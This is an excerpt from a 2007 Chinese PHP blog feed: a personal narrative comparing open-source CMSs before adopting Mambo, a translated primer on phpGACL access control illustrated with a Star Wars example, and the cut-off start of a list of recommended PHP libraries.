href="http://www.sourceforge.net/" target=_blank>http://www.sourceforge.net</a>狂搜，搜到很多系统，如 eGroupware、 phpWebSite、PHPX 等等，感觉都不错，只是没有汉化，cut！顺便提一下，sourceforge.net也许是全球最大的开放源码交流网站，有很多优秀的开放源码项目都在这里，如phpMyAdmin、SquirrelMail等，还有许多诸如ERP、CRM的项目，真是应用具有。这段时间我是它的常客，发现大部分开放源码项目都是基于Apache+PHP+MySQL开发的，都是免费的支撑平台，再配合Linux/Unix/BSD，可以搭建完全免费的Web服务，放到互联网上，根本不必再为系统的版权和许可费担心受怕。<br><br>
<div class=t_msgfont id=message532>　　2004年1月，我发现了Tikiwiki，官方网站<a href="http://www.tikiwiki.org/" target=_blank><font color=#002c99>http://www.tikiwiki.org</font></a>，这是非常优秀的网站内容管理系统，基于 PHP+ADOdb+Smarty等技术构建，功能非常齐全，主要特点：<br><br>　　1、有文章、论坛、分类目录、blog、图库、文件下载、在线调查、Wiki等功能。<br>　　2、用户权限管理很棒，可以设置启用哪些功能，设置哪些用户使用哪些功能。<br>　　3、管理后台和用户界面合在一起，通过用户权限控制界面的显示。<br>　　4、界面被分割成上中下、左中右区域，非常结构化。<br>　　5、有很多实用模块，如菜单、登录、搜索、在线调查、最新发表文章等等，可以灵活定制显示在左右界面区域。<br>　　6、界面很简洁，有很多界面模版来换肤，我非常喜欢。<br><br>　　看看汉化情况，只有Tikiwiki1.6的中文包，这时Tikiwiki已发布1.8版本了，汉化有点滞后。我怀着对Tikiwiki的钟爱，花了2-3天时间进行完全深度汉化，效果很好。随着深入试用，发现很多缺点：<br><br>　　1、页面生成速度有点慢。<br>　　2、一个功能只有一个主菜单，不能设置成多个菜单，比如文章管理就只有一个&#8216;文章&#8217;菜单项，不能分开设置成&#8216;公告&#8217;、&#8216;新闻&#8217;等，而是所有文章都显示在一块。这样就限制了网站的灵活性了，因为网站有很多类型的&#8216;文章&#8217;需要分开设置。<br>　　3、用户菜单和管理菜单混合在一起，通过用户权限控制菜单显示，菜单需要展开才能使用，比较复杂，也不直观。<br>　　4、文档支持比较滞后，Tikiwiki的用户手册还是1.6版本的，其实文档和代码一样重要，它像是一个窗口，让用户详细了解系统的操作，让开发人员了解系统内部构造，这样才能使系统发扬光大。<br><br>　　虽然如此，这并不影响我对Tikiwiki的喜爱，它的界面分块设置、功能模块结构化细分、用户和权限管理，使我看到了熟悉的MIS影子，感觉这就是我想要的网站内容管理系统。<br><br>　　我第一个想做的网站是中华文书网<a href="http://www.doc.net.cn/" target=_blank><font color=#002c99>http://www.doc.net.cn</font></a>，其中有一个成语查询功能，很显然Tikiwiki并没有此功能，必须定制开发。Tikiwiki文档上说功能开发很简单，可现实情况并不如此，不看不知道，一看吓一跳。<br><br>　　首先是smarty技术，它使数据库开发和界面设计分开，确实达到简化数据库编码的效果，但却增加一个中间层，使得界面的设计难度增加了，本来已经够烦的html代码要拆成很多小块，再分别用smarty语法编写，不敢渴望可视化设计，简直是晦涩难读！引入smarty技术后，每个小功能都要有一个数据库描述文件，一个界面文件，和一个数据库和界面的连接文件，且被放在不同目录，晕死了，怎么维护呀？另外由于smarty是动态生成界面文件的，速度有些慢，需要cache缓存来提高速度，也就是把首次生成的界面文件放在cache目录中，这些文件有一定的生命周期，到期后重新再生成。第一次打开界面时有点慢，以后就快多了。不过cache缓存有个后遗症，有时内容更新了，缓存却没有更新，用户就不能及时看到最新的页面，晕！<br><br>　　其次Tikiwiki的功能设计不是真正意义上的结构化设计，整个是一个大杂烩，所有功能模块的初始化代码堆在一起，不管你有没有用到，所有功能都被初始化，系统速度怎能不慢！核心代码中也混杂着多种功能模块的代码，使得核心代码乱七八糟，可读性太差！天啊！这么漂亮的外表怎么有这么肮脏的芯！<br><br>　　一个简单的成语查询功能被分成三个文件来实现，而且为了初始化成语功能，我必须修改Tikiwiki的初始化文件，加入成语初始化代码，好像改了2-3个文件，记不太清楚了。Tikiwiki的这种肮脏内核明显是不想让人往里增加新功能，也不想让人把它的功能去掉，简而言之，Tikiwiki就是一个封闭的系统，可扩展性太差！一旦Tikiwiki系统升级，原来更改的地方需要重新修改一遍，你说累不累！成语查询功能最终是做出来了，但我不敢再做别的功能了。<br><br>　　我带着一丝遗憾继续寻找，发现PhpNuke，官方网站<a href="http://www.phpnuke.org/" target=_blank><font color=#002c99>http://www.phpnuke.org</font></a>，已经发布7.0版本了。PhpNuke据称是目前使用最多的内容管理系统，已经有5-6年的历史了，而我现在才发现，真落伍！中文汉化支持也很及时，我迫不及待地装上，给我的第一印象是界面好土！也许界面的感受因人而异，但我对界面的评判标准并不高，一个好的界面并不要求充斥大量的图片和颜色，关键是布局要合理，颜色搭配要协调，而这两点PhpNuke做得并不好。界面还充满了各式各样的广告，有横条的，有竖条的，顶部放，底部放，左边放，右边放，中间也放，让人误以为进入了二流的地方电视台，各种治疗阳痿和性病的广告层出不穷，开个玩笑:-)。这些广告把界面撑得很长，真正想了解的PhpNuke功能的演示内容只占据一小块界面，造成中间大量的空白，像被疯狗啃过一般。我非常理解PhpNuke作为开源项目，日常开发和维护付出很多，收入来源又很少，资金肯定很紧缺，多做几个广告也无可厚非。但也不能这样作践自己，完全可以把界面布局合理一点，广告位置排放合理一点，让人看起来舒服，这样也对得起出钱的主儿，对得起观众，效果好了，自己的收益也会上去，实现三赢，岂不是很好？<br><br>　　闲话少说，进入管理后台一看，功能还挺多，有文章、下载、在线调查、FAQ、用户管理、权限管理等等，最重要的是支持第三方插件的安装和卸载，可以随意扩展系统的功能！这点比Tikiwiki强多了。经过多年的发展，PhpNuke社区的人气很旺，支持它的插件Addon、区块Block和界面风格Theme很多。<br><br><br>
<div class=t_msgfont id=message534>　　经过这么长时间的寻找和使用web内容管理系统，使我对web内容管理系统有较为深入的了解和认识，难免要做一下总结：<br><br>　　1、大凡web内容管理系统都有一个核心系统，实现许多web的常用功能，如文章管理、分类管理、用户管理、权限管理等。<br>　　2、提供系统的功能扩展机制，方便第三方开发和使用插件。<br>　　3、提供界面布局的控制机制，把界面布局切成上中下、左中右等区块，让用户能把自定义的功能放到这些区块上。<br>　　4、提供界面风格的控制机制，让用户开发和使用各种风格各异的界面风格，然后随心所欲的换肤。<br><br>　　评价一个内容管理系统是否优秀，先要看它有没有上述的4点特征，然后看运行效率如何，再看易用性如何，是否易于用户使用和开发人员扩展新功能。当然了，对于我们这些非英语用户来说，还要看它是否支持多语言，尤其是有没有汉化包，或容不容易汉化。<br><br>　　我根据上述原则对Tikiwiki和PhpNuke评价了一番，Tikiwiki的第1、2条是合并在一起的，难以扩展，不过用户管理和权限管理功能比较强大，第3、4条做得非常棒，易于使用。PhpNuke涵盖了上述4条特征，尤其是第2条做得很好，只不过第1条的用户管理、权限管理，第3、4条做得不是很好，易用性较差，界面很土。<br><br>　　后来发现了PostNuke，官方网站<a href="http://www.postnuke.org/" target=_blank><font color=#002c99>http://www.postnuke.org</font></a>，它是PhpNuke的简化版和美化版，内核作了一些简化，对第3、4条做了一些简化和美化处理，界面果然没有广告了，不过和Tikiwiki相比还是略逊一筹。有一点让我担忧的是，它的版本升级太慢了，发现它的时候是0.723版，很长一段时间内才升级到0.726版，我怀疑它的社区不是很旺，作者是不是放弃升级了？汉化支持也很薄弱，我花了很长时间才找到它的汉化版，由无雨进行汉化<a href="http://www.chinammgg.com/" target=_blank><font color=#002c99>http://www.chinammgg.com/</font></a>，只有少数几个插件。<br><br>　　在这期间我也下载过Xoops中文版，不知道是汉化效果不好还是Xoops本身的问题，其界面布局和风格都很差，懒得试就把它cut掉了。因为现在已经不像当初一样，急于寻找巨人的肩膀，而是巨人的肩膀太多了，评价哪个肩膀更合适成了首要任务。Tikiwiki和Nuke各有优缺点，哪个都不能很好满足我的标准。这段时间痛苦死了，经常寻找Tikiwiki、Nuke的新版本，看看功能有没有改进提高，装了又卸，卸了又装，都成装CMS高手了，可我想要的它还是没有给我改出来。<br><br>　　不知不觉，到了2004年4月底，我还在Tikiwiki和Nuke之间犹豫不决，究竟哪个更合适？Tikiwiki和Nuke这两个巨人的肩膀都不太平坦，难以立足，必须动动手术，整平才行。经过多次全方位权衡，我决定从Tikiwiki开刀，虽然它的内核很混乱，但其设计思路很清晰，界面布局和风格的控制也很好，只需要把它的内核和功能模块分开就行，这与MIS开发有点类似，对我来说相对容易一些。我开始阅读它的内核代码，妈的有好几万行！就在我完成系统总体设计和数据库设计，要对Tikiwiki下手时，在Sourceforge.net中我发现Tikipro项目（这段时间我每天都要逛几次Sourceforge.net），Tikipro的发起者们也发现Tikiwiki存在的弊端，正在着手进行改进，还专门建个网站<a href="http://www.tikipro.org/" target=_blank><font color=#002c99>http://www.tikipro.org</font></a>来进行开发的沟通和交流。我狂喜！世界上真是什么人都有，连我肚子里的蛔虫也在异国他乡存在！我天天泡在Sourceforge.net和Tikipro.org之间，密切关注Tikipro项目的开发动态，深入阅读Tikipro的技术文档，Tikipro开发者们对优秀CMS的见解很精辟，对Tikiwiki的弊端也了如指掌，他们为Tikipro的发展制定详细的规划，虽然很多英文我看得模棱两可，但我对他们佩服得五体投地。<br><br>　　又过2个星期，使用了Tikipro的2次体验版之后，我发现Tikiwiki内核还是没有净化，内核和功能模块的代码还是混杂在一起。怎么搞的，这帮鬼子都在干嘛？技术文档上不是写得很清楚吗，难道是我看错了？我又详细阅读技术文档，并订阅邮件列表，才发现他们已经走弯路了。本来工作重点应该是简化内核，剥离出功能模块，而这帮鬼子却在讨论如何把Tikiwiki的所有功能模块转到Tikipro中，既然这样的话，那Tikipro和Tikiwiki有什么区别？干嘛还要花精力来开发Tikipro？真是气死我了！<br><br>　　我在阅读Tikipro技术文档时发现，Tikipro要引进phpgacl来增强权限控制和管理。phpgacl是什么东东？难道要比Tikiwiki的权限管理还要好？我以往开发MIS系统时经常和权限管理打交道，对这比较在行也很感兴趣。任随兴趣驱动，我在Sourceforge.net中揪出phpgacl，原来它是用php+ADODB+Smarty开发的通用权限管理模块，设计思路非常好，能实现非常复杂的权限控制，提供很多实用的API函数，方便整合进已有的web内容管理系统中。phpgacl专门介绍使用它的主要用户，在仅有的两个用户中，排在第一的是Mambo - <a href="http://www.mamboserver.com/" target=_blank><font color=#002c99>http://www.mamboserver.com</font></a>，点击这个链接，2004年5月12日，我来到了Mambo官方网站。这是非常有意义的一个点击，在我所有鼠标的点击当中，这个是最有价值的！它让我放弃改进Tikiwiki的念头，结束了我的内容管理系统寻找历程。这一天晚上，睡梦中我不停的笑，掉了三颗大牙(其实我的大牙早在几年前已经掉了)。<br><br>　　让我们来看看，到底发生了什么，让我如此疯狂。<br><br>　　Mambo，中文意思为曼波音乐(源于古巴黑人音乐)，是这个星球上功能最强大的开放源码的内容管理系统之一。在2004年4月20日伦敦举行的Linux用户和开发员大会上，Mambo从众多优秀的开放源码系统中脱颖而出，获得2004年度最佳Linux开放源码系统奖项，和它同场竞技的有KDE、Firebird SQL以及eGroupware等，这些都是知名度很高，被广泛使用的系统，现在却沦为Mambo的手下败将，可想而知，Mambo的魔力有多大！<br><br>
<div class=t_msgfont id=message535>　　Mambo的口号 Power in Simplicity! ( 强大源自简易！)<br><br>　　Mambo基于php+mysql技术开发，具有易于安装、管理简单、可靠性高等特点。<br><br>　　Mambo可在全球范围内构建各种类型的网站，小到简单的个人网站，大到复杂的公司应用网站，Mambo都可轻松搞定！<br><br>　　看到这里，我的血管都快爆了！鼻血不停往外喷。我还没用过Mambo，就已经被它征服！赶紧下载，版本为Mambo4.5-1.0.7。都到4.5版了，国内怎么很少有介绍？害得我找这么久才找到。不过狂喜的心情已经容不下任何抱怨，马上安装使用，功能确实强大，管理确实简单，界面布局合理，界面风格大方，比宣传材料有过之而无不及！Mambo系统设计非常灵巧和简单，把我心中许多悬而未决的设计难题，用很简单的方法实现了，真绝！<br><br>　　Mambo分为核心系统(core)、组件(component)、模块(module)、界面模版(template)等，采用结构化的功能设计和界面布局设计。<br><br>　　Mambo核心系统有前台用户界面和后台管理界面，方便最终用户使用和系统管理员管理，实现用户管理、权限管理、多语言管理、组件管理、模块管理、界面模版管理、数据库备份和恢复等诸多系统管理功能，提供文章管理、首页管理、网站链接、在线调查、横幅广告等常用组件，提供菜单、登录框、计数器等常用模块，还提供4个界面模版，满足小型网站使用游刃有余。其后台管理界面采用类似于MIS系统的界面布局，有菜单、工具栏、按钮、状态栏等，界面简洁大方，风格统一，符合Windows用户的使用习惯，不注意看还以为是在使用Windows应用程序。<br><br>　　Mambo的组件相当于功能模块，在界面的中央主区域显示，通过管理后台灵活安装和卸装，支持第三方开发，非常便于系统扩展。<br><br>　　Mambo的模块是一个个豆腐块，可显示在除中央主区域之外的任何界面区域，在界面的顶部、底部、左栏、右栏，还可以自定义显示位置，可通过管理后台灵活安装和卸装，还可动态创建基于html语言的简单模块，如友情连接、合作伙伴等。通过Mambo模块设置，可以定制出专业的前台用户界面布局，其机制比Tikiwiki更简单，功能更强大，更灵活！<br><br>　　Mambo的界面模版机制更绝，只需要一个index.php文件和一个css文件就搞定，index.php中大部分是html代码，另有几个php的echo、mosLoadModules函数，用于动态显示页面标题和动态调入Mambo模块，这种机制使界面模版的设计可以在准可视化的方式下进行，原来首页怎么设计，现在也是怎么设计，界面的美化程度就要看你的美感和美术功底了，首页设计完后把一些地方换成php函数动态调入就行。界面模版同样也可通过管理后台灵活安装和卸装，换肤相当容易。简单、灵活、高效，比起smarty技术来不知道要强多少倍！真是空前绝后，绝子绝孙！<br><br>　　此外Mambo还有Mambot，不知道怎么翻译，只知道它是一段小的代码，在页面显示之前进行某些特殊的处理，可以实现某个特殊功能，用来增强组件和模块的功效。<br><br>　　Mambo原来在Sourceforge.net安家，最近专门成立Mambo开发社区 <a href="http://www.mamboforge.net/" target=_blank><font color=#002c99>http://www.mamboforge.net</font></a>，把核心系统开发活动转移到社区中，另外还提供项目空间，让Mambo的爱好者创建各种各样的项目。目前Mambo开发社区非常火爆，规模迅速膨胀，有一百多个组件项目，几十个模块项目，几十个界面模版项目，还有其它各色各样的项目，这里就不一一罗列，感兴趣的赶快去看看。<br><br>　　除了Mambo开发社区之外，还有很多第三方网站提供Mambo技术支持，提供许多优秀的组件、模块以及界面模版。<br><br>　　Mambo真是优点多多，魅力无穷，许多强大的功能没法用简单的语言讲清楚，只有用了Mambo，才能真正体会到其中奥妙。这时也许有人较劲，Mambo优点这么多，难道就没什么缺点？有，肯定有！所谓人无完人，物无尽美，Mambo也不例外。<br><br>　　Mambo的权限管理功能稍弱，名义上Mambo使用phpgacl进行权限控制，应该很强大才是，实际上Mambo只借用phpgacl的壳而已，原因很简单，phpgacl是基于php+ADODB+Smarty开发，而Mambo则基于php+MySQL开发，技术底层明显有冲突，因此Mambo简化了phpgacl的API函数，并把它写死在核心代码中，并不能进行动态的权限控制。但对于只需几个人维护的网站，Mambo权限管理已经够用，大的网站，管理角色一多就不适用。权限控制将在以后的Mambo版本中得到改善，也许是Mambo4.6，也许是Mambo5.0，让我们拭目以待。<br><br>　　Mambo的多语言支持，尤其是中文支持比较弱，Mambo核心系统只提供前台用户界面的翻译接口，后台管理界面却没有提供，这就要求管理员要有几十个英文词汇量才行。好在Mambo开发社区已有人开个项目adminlanguage，专门提供Mambo后台管理界面的翻译接口，鄙人也开个项目Simplified Language for Mambo，专门提供Mambo核心系统、组件和模块的简体中文汉化。这两个项目配合使用，使Mambo管理后台界面得到很好的汉化。不过一旦Mambo核心系统升级，推出新的版本，adminlanguage项目组必须作大量的工作才能使新系统的后台管理界面具有翻译接口，要花一周甚至一个月的时间，势必影响Mambo汉化版及时推出，真是一大憾事！<br><br>　　手握着Mambo宝刀，做了一些汉化和界面模版的调整工作之后，我一口气建了五个网站：<br><br>　　中华文书网<a href="http://www.doc.net.cn/" target=_blank><font color=#002c99>http://www.doc.net.cn</font></a><br>　　易达网上营销<a href="http://www.9819.com/" target=_blank><font color=#002c99>http://www.9819.com</font></a><br>　　好房网<a href="http://www.howfang.com/" target=_blank><font color=#002c99>http://www.howfang.com</font></a><br>　　旅游直通车<a href="http://www.trip2.net/" target=_blank><font color=#002c99>http://www.trip2.net</font></a><br>　　Mambo中国<a href="http://www.mambochina.net/" target=_blank><font color=#002c99>http://www.mambochina.net</font></a><br><br>　　踌躇满志，游刃有余！现在做个网站对我来说已是小菜一碟，正所谓磨刀不误砍柴功！不过这把刀磨了半年多，也真够久的。<br><br>　　Mambo是自由的、开放的、免费的好东东，我不敢一个人独享，要给大家分享。为了使更多的人了解Mambo，使用Mambo，享受Mambo的好处，我在Mambo中国<a href="http://www.mambochina.net/" target=_blank><font color=#002c99>http://www.mambochina.net</font></a>，也就是Mambo中文社区中，介绍Mambo最新动态，提供最新核心系统、常用组件、模块和界面模版以及Mambo文档资料的下载。目前Mambo最新的稳定版为Mambo4.5-1.0.9，最新的候选版为Mambo4.5.1-RC-2。欢迎大家加入Mambo中文社区，交流Mambo的使用心得。同时希望更多的人参与Mambo组件、模块、界面模版的开发，参与Mambo简体中文的汉化，使Mambo在古老的神州大地上开花结果，发扬光大！<br><br>　　附录网址：<br>　　Mambo官方网站：<a href="http://www.mamboserver.com/" target=_blank><font color=#002c99>http://www.mamboserver.com</font></a><br>　　Mambo开发社区：<a href="http://www.mamboforge.net/" target=_blank><font color=#002c99>http://www.mamboforge.net</font></a><br>　　Mambo开发社区简体中文项目：<a href="http://mamboforge.net/projects/simpchinese/" target=_blank><font color=#002c99>http://mamboforge.net/projects/simpchinese/</font></a><br>　　Mambo中文社区(Mambo中国)：<a href="http://www.mambochina.net/" target=_blank><font color=#002c99>http://www.mambochina.net</font></a><br><br>　　特别声明：本文如实地陈述了我的网站内容管理系统的寻找历程，对很多网站内容管理系统的描述只代表我个人的感受和观点，并不想贬低各种网站内容管理系统及用它们建设出来的网站。我个人认为，本文所提及的网站内容管理系统都非常优秀，是它们陪我度过半年多的漫长寻找历程，教会我许多网站内容管理系统的知识，让我知道如何评价和选择优秀的网站内容管理系统，在这里我对这些网站内容管理系统的作者及其社区里的开发者表示衷心的感谢和崇高的敬意！我衷心祝愿在以后的日子里他们做得更好，在各自的专长领域大放异彩！</div>
</div>
</div>
</div>
<img src ="http://www.phpweblog.net/killjin/aggbug/2607.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-12-26 17:39 <a href="http://www.phpweblog.net/killjin/archive/2007/12/26/2607.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP权限控制系统-PHPGACL</title><link>http://www.phpweblog.net/killjin/archive/2007/12/26/2606.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Wed, 26 Dec 2007 09:21:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/12/26/2606.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2606.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/12/26/2606.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2606.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2606.html</trackback:ping><description><![CDATA[<p>权限控制的设计一直是系统开发和框架结构中经常讨论的问题，如何设计一个简单而又行之有效却又可以提供高精度的权限控制粒度是我们一直探讨的问题。最近在翻看Joomla中的ACL部分发现了这个框架phpGACL<br><a id=more-127></a><br>在我个人开发的过程中也是经常面临这个问题，简单的粗粒度的控制，复杂的细粒度的控制，一旦权限设计的非常细会导致我面临各种高复杂的结构和代码的编写。phpGACL提供了一个非常有效的对权限的控制，即可以提供非常丰富的权限控制，而开发设计上也很简单。下面先介绍一下phpGACL框架。</p>
<p>本文翻译自phpGACL使用手册</p>
<p>phpGACL是一组函数他允许任何（用户,远程主机)对象对另外一些(页面，数据库)对象应用权限控制。phpGACL提供成熟的权限控制与简单的管理，而且速度也是相当快的。更重要的一点，他是完全开源的，你可以从下面地址获得<a href="http://phpgacl.sourceforge.net/" target=_blank>http://phpgacl.sourceforge.net/</a></p>
<p>运行他首先必须要有一个关系型数据库来存储权限控制数据，phpGACL是通过ADODB库来连接数据库的所以他可以方便的连接mysql，postgresql,oracle等等。在Joomla中的ACL系统是经过一些轻量级的改装后的，主要是在数据库层joomla放弃使用ADODB而采用了joomla中的数据库抽象类来存储数据库</p>
<p>理解权限控制</p>
<p>最好的解释权限控制的方法就是使用一些具体的实例而不是讲述枯燥的概念。Han是Millennium Falcon号飞船的船长，Chewie是他的二副，飞船上同时搭载着一些乘客包括:Luke, Obi-wan, R2D2 ,C3PO.Han需要对飞船上的每一个舱室定义一个访问权限包括：驾驶舱，动力舱，休息舱以及武器舱。</p>
<p>船长Han说&#8221;我和Chewie有权进入所有地方，但经过了一次非比寻常的超光速推进器修复之后我禁止Chewie再靠近动力舱，而乘客全部被限制在休息舱内&#8221;。从现在开始我们讨论的权限体系实际上是一个布尔数学体系，对于飞船上的每个人进入各个舱室的权限仅包括允许与拒绝，不存在任何第三种情况。</p>
<p>我们现在将上述情况描述为一个权限矩阵，他对应描述了谁有权进入哪里这个问题。具体如下图描述（0代表允许，X代表拒绝）。<br><img height=180 alt=matrix.gif src="http://www.phpweblog.net/images/phpweblog_net/killjin/q1.gif" width=369 border=0><br>列代表船长Han需要设定权限控制的舱室，而行则代表需要访问舱室的人员。抽象点说&#8220;舱室&#8221;就是需要控制权限的事物，这里我们称为&#8221;权限控制对象&#8221;Access&nbsp;Control Objects(ACO)；&#8220;人员&#8221;就是需要权限去访问的事物，这里我们称为&#8221;权限需求对象&#8221;Access Request Objects(ARO)。人员需要权限进入舱室在我们的术语里就是AROs需要权限去访问ACOs。这里还有第三类对象称为附件权限对象Access eXtention Object (AXO),这个将在后面讨论，他共享一些属性并共同组成权限对象。</p>
<p>使用权限矩阵来管理权限是比较简单的，但也存在一些缺点。<br>1、他可以做到精细如果需要的话可以提供对每个人的管理<br>2、权限变的一目了然，谁有权进入那里，只要我们找到人员与舱室的交叉点也就找到了答案。<br>3、他很难去管理大型的权限体系，6个乘客4个舱室是一个非常小的权限体系，但如果有上千位乘客以及数百个舱室，应用矩阵来管理将何等麻烦，需要大量的精确而冗长的判断。权限矩阵很难适合这样的体系管理<br>4、统计上的麻烦，上面那个图如果统计谁可以进入动力舱是比较清楚的，但如果图变成下面这个样子估计就比较麻烦了<br><img height=198 alt=matrix1.gif src="http://www.phpweblog.net/images/phpweblog_net/killjin/q2.gif" width=369 border=0></p>
<p>使用phpGACL来定义权限</p>
<p>对于大型权限系统的权限管理来说权限矩阵是很不合适的，这样我们就需要去寻找一个更合适的系统来完成这项工作，继承矩阵的优点同时也要舍去他的缺点。phpGACL就是一个非常好的解决方案。</p>
<p>phpGACL并非自底而上的描述权限相反他采用了一个自顶而下的顺序来描述权限，他是一个富有弹性的系统，允许用户使用大量的组来管理权限，很容易知道谁有权限去哪里。在phpGACL里使用一个ARO树来定义组和ARO对象。他与文件夹、文件的树型关系一样。这里组就象文件夹，而ARO对象就是文件。</p>
<p>现在给Han的飞船上的乘客也就是ARO设计一个ARO树，首先为飞船上的人员设计一个分类，这里Han 和Chewie是开船的，而剩下的人都是乘客<br>MillenniumFalconPassengersGroup<br>C─rew&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Group<br>│─Han&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARO<br>│─Chewie&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARO<br>─Passengers&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Group<br>─Obi-wan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARO<br>─Luke&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARO<br>─R2D2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARO<br>─C3PO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARO</p>
<p>这个树其实并不关联任何的权限只是对ARO对象做一个分类。我们应用权限实际是只是将ACO对象也就是舱室指派给ARO树上的Group或者ARO对象。Han说&#8220;默认情况下任何人不允许进入任何房间，但是船员可以进入任何舱室，乘客只允许进入休息舱&#8221;<br>MillenniumFalconPassengers<br>─Crew&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[ALLOW:ALL]<br>│─Han<br>Chewie│─<br>P─assengers&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ALLOW:Lounge]<br>─Obi-wan<br>─Luke<br>─R2D2<br>─C3PO</p>
<p>现在我们自上而下解释这棵树，首先默认的权限永远是拒绝，所以所有人包括船员初始情况是拒绝进入任何舱室，但Han又说&#8220;船员可以进入任何舱室&#8221;，这个就发生了权限覆盖默认的权限被允许覆盖了，所以最终船员有权进入任何舱室，而乘客只允许进入休息舱。这种方式来描述权限比矩阵更加清楚，你可以清楚的明白谁可以去哪里，并且为什么他具备这样的权限也可以知道(Han和Chewie可以去飞船上的任意地方，因为他们同属于一个船员的组)</p>
<p>总结一下</p>
<p>Access Control Objects (ACOs) 权限控制对象，就是那些我们需要控制访问的对象，比如网页、数据库或者舱室。<br>Access Request Objects (AROs)权限需求对象，就是那些需要权限去访问的对象，比如人或者远程计算机。<br>ARO&nbsp;树定义了ARO对象与GROUP的层次结构。组可以包含ARO对象也可以包含其他组 。<br>在ARO树上默认情况永远是拒绝访问<br>权限分配原则，使用一定的方法遍历整个ARO树，为每一个出现的ACO对象分配特定的权限给ARO或者GROUP</p>
<p>本文简单讲述了phpGACL的权限控制原理和基本概念，对于深入的GACL控制原理可以参考phpGACL手册。<br></p>
<img src ="http://www.phpweblog.net/killjin/aggbug/2606.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-12-26 17:21 <a href="http://www.phpweblog.net/killjin/archive/2007/12/26/2606.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>每一個 PHP 開發者都應該認識的十個開發項目</title><link>http://www.phpweblog.net/killjin/archive/2007/12/25/2600.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Tue, 25 Dec 2007 09:10:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/12/25/2600.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2600.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/12/25/2600.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2600.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2600.html</trackback:ping><description><![CDATA[<p>I-nfotech 有一篇文章列出<a title="十個每一個 PHP 開發者都應該認識的開發項目" href="http://infortech2k.wordpress.com/2007/11/11/10-projects-every-php-developer-should-use/"><font color=#002c99>十個每一個 PHP 開發者都應該認識的開發項目</font></a>，我們都知道 PHP 擁有全世界最龐大的原碼程式庫（不知道的話現在仍不算遲），所以在開發過程中幾乎所有你需要的功能都已經有人寫好了，你只需插入你的項目中便可以使用，文章的作者有多年的網頁開發經驗，他總結多年的心得，列出了十個每一個 PHP 開發者都應該認識的 PHP 函式庫。你的要求可能不同，但這篇文章的內容仍然很值得參考。</p>
<ol>
    <li><strong>發送電子郵件</strong>：一般用途的話 PHP 的 <a title="PHP mail()" href="http://www.webdigity.com/php-manual/function.mail.html"><font color=#002c99>mail()</font></a> 函式已經足夠，但若果要插入附件，或者透過 SMTP 伺服器發送電郵，便需要 <a title=PHPmailer href="http://phpmailer.sourceforge.net/"><font color=#002c99>phpmailer</font></a> 了。
    <li><strong>用戶管理</strong>：由於作者一直以來都找不到一個合心意的用戶管理函式庫，所以他自己寫了一個 <a title="PHP User class" href="http://phpuserclass.com/"><font color=#002c99>PHP User class</font></a>，也推薦這個給大家。
